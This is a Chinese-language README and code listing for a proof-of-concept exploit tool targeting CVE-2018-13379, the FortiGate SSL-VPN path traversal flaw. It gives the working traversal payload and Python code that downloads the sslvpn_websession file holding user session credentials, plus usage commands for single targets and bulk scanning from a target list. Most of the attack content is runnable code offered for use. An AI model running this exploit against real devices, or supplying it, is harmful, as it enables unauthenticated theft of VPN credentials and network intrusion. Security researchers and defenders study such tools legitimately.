CVE-2018-13379 FortiGate SSL-VPN 路径遍历漏洞利用工具

5 阅读4分钟

CVE-2018-13379 - FortiGate SSL-VPN 路径遍历漏洞利用工具

Python 3.x转存失败,建议直接上传图片文件 漏洞等级转存失败,建议直接上传图片文件 漏洞类型转存失败,建议直接上传图片文件

本项目是一个针对 CVE-2018-13379 漏洞的概念验证(PoC)脚本。该漏洞存在于 Fortinet FortiGate 设备的 SSL VPN 门户中,是一个严重的路径遍历漏洞。攻击者无需身份验证即可利用此漏洞下载服务器上的任意系统文件,特别是包含用户会话信息的 sslvpn_websessions 文件,从而获取敏感凭据并可能控制网络。

功能特性

  • 单一目标检测:支持对单个 IP 地址或域名进行漏洞检测和文件下载。
  • 批量目标扫描:支持从文件中读取多个目标进行批量检测。
  • 灵活的目标格式:自动处理 IP、域名以及自定义端口。
  • 直接文件下载:成功利用漏洞后,可下载目标的系统文件(默认为 sslvpn_websessions)。
  • 清晰的结果输出:在终端中高亮显示存在漏洞的目标及下载的文件名。

安装指南

系统要求

  • Python 3.x
  • pip 包管理器

安装步骤

  1. 克隆本仓库到本地:

    git clone https://github.com/your-repo/CVE-2018-13379.git
    cd CVE-2018-13379
    
  2. (可选)创建并激活 Python 虚拟环境:

    python3 -m venv venv
    source venv/bin/activate  # 在 Windows 上使用 `venv\Scripts\activate`
    
  3. 安装依赖库:

    pip install requests
    

使用说明

基础使用

该工具提供了两种主要的使用模式:单目标检测和批量文件扫描。

1. 单目标检测

检测单个目标是否存在漏洞,并尝试下载 sslvpn_websessions 文件。

python poc.py --target 192.168.1.1

如果目标使用非标准端口(例如 10443),可以直接在目标中指定:

python poc.py --target 192.168.1.1:10443
python poc.py --target vpn.example.com:8443

成功执行后,脚本会下载名为 192.168.1.1_sslvpn_websessions 的文件。

2. 批量文件扫描

准备一个包含目标列表的文本文件(例如 targets.txt),每行一个目标。

targets.txt 示例:

192.168.1.1
vpn.target.com
10.0.0.5:4443

然后运行批量扫描模式:

python poc.py --list targets.txt

脚本将遍历列表中的所有目标,并对每个存在漏洞的目标下载对应的会话文件。

核心代码

以下是工具的核心漏洞利用代码片段,清晰地展示了如何构造恶意请求来触发路径遍历。

# poc.py (核心部分)

import requests
import sys
import os

# 漏洞利用参数
VULN_ENDPOINT = "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
OUTPUT_FILE_TEMPLATE = "{target}_sslvpn_websessions"

def exploit(target):
    """
    针对单个目标利用 CVE-2018-13379 漏洞。
    
    通过向目标发送包含路径遍历 payload 的 GET 请求,尝试下载
    FortiGate 设备上的 'sslvpn_websession' 文件。该文件包含了
    活跃用户的会话信息。
    
    Args:
        target (str): 目标地址,可以是 IP 或域名,可选端口。
    
    Returns:
        bool: 如果漏洞利用成功(文件被下载),返回 True,否则返回 False。
    """
    # 1. 构造完整的 URL
    if not target.startswith(('http://', 'https://')):
        # 默认使用 HTTPS,因为这是 SSL VPN 的常用协议
        url = f"https://{target}{VULN_ENDPOINT}"
    else:
        url = f"{target}{VULN_ENDPOINT}"

    output_file = OUTPUT_FILE_TEMPLATE.format(target=target.replace(':', '_').replace('/', '_'))

    try:
        # 2. 发送恶意构造的 GET 请求
        #    忽略 SSL 证书验证,因为目标可能是自签名证书
        print(f"[*] 正在测试目标: {target}")
        response = requests.get(url, verify=False, timeout=10)

        # 3. 分析响应结果
        #    如果响应包含特定内容(如 'devid')且状态码为 200,则很可能成功
        if response.status_code == 200 and len(response.text) > 0:
            # 简单的启发式检测:检查是否返回了类似配置文件的 JSON 数据
            if response.text.strip().startswith('{') and 'devid' in response.text:
                print(f"[+] 目标 {target} 存在漏洞!正在保存文件...")
                # 4. 保存下载的文件
                with open(output_file, 'wb') as f:
                    f.write(response.content)
                print(f"[+] 文件已保存为: {output_file}")
                return True
            else:
                print(f"[-] 目标 {target} 可能不存在漏洞或响应内容为空。")
        else:
            print(f"[-] 目标 {target} 请求失败,状态码: {response.status_code}")

    except requests.exceptions.Timeout:
        print(f"[-] 目标 {target} 连接超时。")
    except requests.exceptions.ConnectionError:
        print(f"[-] 目标 {target} 连接失败。")
    except Exception as e:
        print(f"[-] 目标 {target} 处理时发生未知错误: {e}")

    return False

6HFtX5dABrKlqXeO5PUv/yVpc47CJ3oK2Uu390xMySg=